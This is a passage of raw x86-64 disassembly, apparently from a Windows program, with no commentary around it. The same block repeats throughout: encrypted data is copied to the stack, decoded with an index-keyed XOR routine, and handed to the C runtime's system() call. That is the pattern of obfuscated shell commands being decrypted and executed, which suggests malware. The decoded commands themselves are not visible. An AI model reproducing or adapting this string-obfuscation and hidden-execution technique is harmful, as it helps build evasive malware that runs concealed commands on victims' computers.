add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x14000d2c0
lea rcx, [rbp + 0x1f60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0x97b50]
lea rdx, [rbp + 0x2e30]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, word [rcx + 0xac]
mov word [rdx + 0x2c], ax
mov r8d, edi
cmp r14d, 2
jl 0x14000d4e2
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e34]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x14000d3d1
cmp r8d, 0xae
jge 0x14000d526
movsxd rax, r8d
lea r9, [rbp + 0x2e30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x14000d4f0
lea rcx, [rbp + 0x2e30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097ca0]
movups xmmword [rbp + 0x1260], xmm0
movups xmm0, xmmword [0x140097cc0]
movups xmm1, xmmword [0x140097cb0]
movups xmmword [rbp + 0x1280], xmm0
movups xmmword [rbp + 0x1270], xmm1
mov eax, dword [0x140097d30]
movups xmm0, xmmword [0x140097ce0]
movups xmm1, xmmword [0x140097cd0]
mov dword [rbp + 0x12f0], eax
movups xmmword [rbp + 0x12a0], xmm0
movups xmmword [rbp + 0x1290], xmm1
movzx eax, word [0x140097d34]
movups xmm0, xmmword [0x140097d00]
movups xmm1, xmmword [0x140097cf0]
mov word [rbp + 0x12f4], ax
movups xmmword [rbp + 0x12c0], xmm0
movups xmmword [rbp + 0x12b0], xmm1
movzx eax, byte [0x140097d36]
movups xmm0, xmmword [0x140097d20]
movups xmm1, xmmword [0x140097d10]
mov byte [rbp + 0x12f6], al
movups xmmword [rbp + 0x12e0], xmm0
movups xmmword [rbp + 0x12d0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000d731
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1264]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000d620
cmp r8d, 0x97
jge 0x14000d776
movsxd rax, r8d
lea r9, [rbp + 0x1260]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000d740
lea rcx, [rbp + 0x1260]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097790]
movups xmmword [rbp + 0x1620], xmm0
movups xmm0, xmmword [0x1400977b0]
movups xmmword [rbp + 0x1640], xmm0
movups xmm0, xmmword [0x1400977d0]
movups xmm1, xmmword [0x1400977a0]
movups xmmword [rbp + 0x1660], xmm0
movups xmmword [rbp + 0x1630], xmm1
movups xmm0, xmmword [0x1400977f0]
movups xmm1, xmmword [0x1400977c0]
movups xmmword [rbp + 0x1680], xmm0
movups xmmword [rbp + 0x1650], xmm1
mov eax, dword [0x140097828]
movups xmm0, xmmword [0x140097810]
movups xmm1, xmmword [0x1400977e0]
mov dword [rbp + 0x16b8], eax
movups xmmword [rbp + 0x16a0], xmm0
movups xmmword [rbp + 0x1670], xmm1
movzx eax, word [0x14009782c]
movsd xmm0, qword [0x140097820]
movups xmm1, xmmword [0x140097800]
mov word [rbp + 0x16bc], ax
movsd qword [rbp + 0x16b0], xmm0
movups xmmword [rbp + 0x1690], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000d983
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1624]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000d872
cmp r8d, 0x9e
jge 0x14000d9c6
movsxd rax, r8d
lea r9, [rbp + 0x1620]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x14000d990
lea rcx, [rbp + 0x1620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400982a0]
movups xmmword [rbp + 0x1760], xmm0
movups xmm0, xmmword [0x1400982c0]
movups xmm1, xmmword [0x1400982b0]
movups xmmword [rbp + 0x1780], xmm0
movups xmmword [rbp + 0x1770], xmm1
movups xmm0, xmmword [0x1400982e0]
movups xmm1, xmmword [0x1400982d0]
movups xmmword [rbp + 0x17a0], xmm0
movups xmmword [rbp + 0x1790], xmm1
movzx eax, word [0x140098330]
movups xmm0, xmmword [0x140098300]
movups xmm1, xmmword [0x1400982f0]
mov word [rbp + 0x17f0], ax
movups xmmword [rbp + 0x17c0], xmm0
movups xmmword [rbp + 0x17b0], xmm1
movzx eax, byte [0x140098332]
movups xmm0, xmmword [0x140098320]
movups xmm1, xmmword [0x140098310]
mov byte [rbp + 0x17f2], al
movups xmmword [rbp + 0x17e0], xmm0
movups xmmword [rbp + 0x17d0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000dbd1
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1764]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000dac0
cmp r8d, 0x93
jge 0x14000dc16
movsxd rax, r8d
lea r9, [rbp + 0x1760]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x14000dbe0
lea rcx, [rbp + 0x1760]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096e70]
movups xmmword [rbp + 0x2000], xmm0
movups xmm0, xmmword [0x140096e90]
movups xmmword [rbp + 0x2020], xmm0
movups xmm0, xmmword [0x140096eb0]
movups xmm1, xmmword [0x140096e80]
movups xmmword [rbp + 0x2040], xmm0
movups xmmword [rbp + 0x2010], xmm1
movups xmm0, xmmword [0x140096ed0]
movups xmm1, xmmword [0x140096ea0]
movups xmmword [rbp + 0x2060], xmm0
movups xmmword [rbp + 0x2030], xmm1
movups xmm0, xmmword [0x140096ef0]
movups xmm1, xmmword [0x140096ec0]
movups xmmword [rbp + 0x2080], xmm0
movups xmmword [rbp + 0x2050], xmm1
mov eax, dword [0x140096f08]
movsd xmm0, qword [0x140096f00]
movups xmm1, xmmword [0x140096ee0]
mov dword [rbp + 0x2098], eax
movsd qword [rbp + 0x2090], xmm0
movups xmmword [rbp + 0x2070], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000de21
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2004]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000dd10
cmp r8d, 0x9c
jge 0x14000de66
movsxd rax, r8d
lea r9, [rbp + 0x2000]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x14000de30
lea rcx, [rbp + 0x2000]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097d40]
movups xmmword [rbp + 0x1500], xmm0
movups xmm0, xmmword [0x140097d60]
movups xmmword [rbp + 0x1520], xmm0
movups xmm0, xmmword [0x140097d80]
movups xmm1, xmmword [0x140097d50]
movups xmmword [rbp + 0x1540], xmm0
movups xmmword [rbp + 0x1510], xmm1
movups xmm0, xmmword [0x140097da0]
movups xmm1, xmmword [0x140097d70]
movups xmmword [rbp + 0x1560], xmm0
movups xmmword [rbp + 0x1530], xmm1
mov eax, dword [0x140097dd8]
movups xmm0, xmmword [0x140097dc0]
movups xmm1, xmmword [0x140097d90]
mov dword [rbp + 0x1598], eax
movups xmmword [rbp + 0x1580], xmm0
movups xmmword [rbp + 0x1550], xmm1
movzx eax, byte [0x140097ddc]
movsd xmm0, qword [0x140097dd0]
movups xmm1, xmmword [0x140097db0]
mov byte [rbp + 0x159c], al
movsd qword [rbp + 0x1590], xmm0
movups xmmword [rbp + 0x1570], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e072
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1504]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000df61
cmp r8d, 0x9d
jge 0x14000e0b6
movsxd rax, r8d
lea r9, [rbp + 0x1500]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x14000e080
lea rcx, [rbp + 0x1500]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x97940]
lea rcx, [rbp + 0x2cd0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, word [rax + 0xa0]
mov word [rcx + 0xa0], ax
mov r8d, edi
cmp r14d, 2
jl 0x14000e291
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2cd4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x14000e180
cmp r8d, 0xa2
jge 0x14000e2d6
movsxd rax, r8d
lea r9, [rbp + 0x2cd0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa2
jl 0x14000e2a0
lea rcx, [rbp + 0x2cd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x96b50]
lea rcx, [rbp + 0x2b80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r14d, 2
jl 0x14000e49a
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2b84]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x14000e392
jmp 0x14000e4e6
lea r9, [rbp + 0x2b80]
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x14000e4b0
lea rcx, [rbp + 0x2b80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
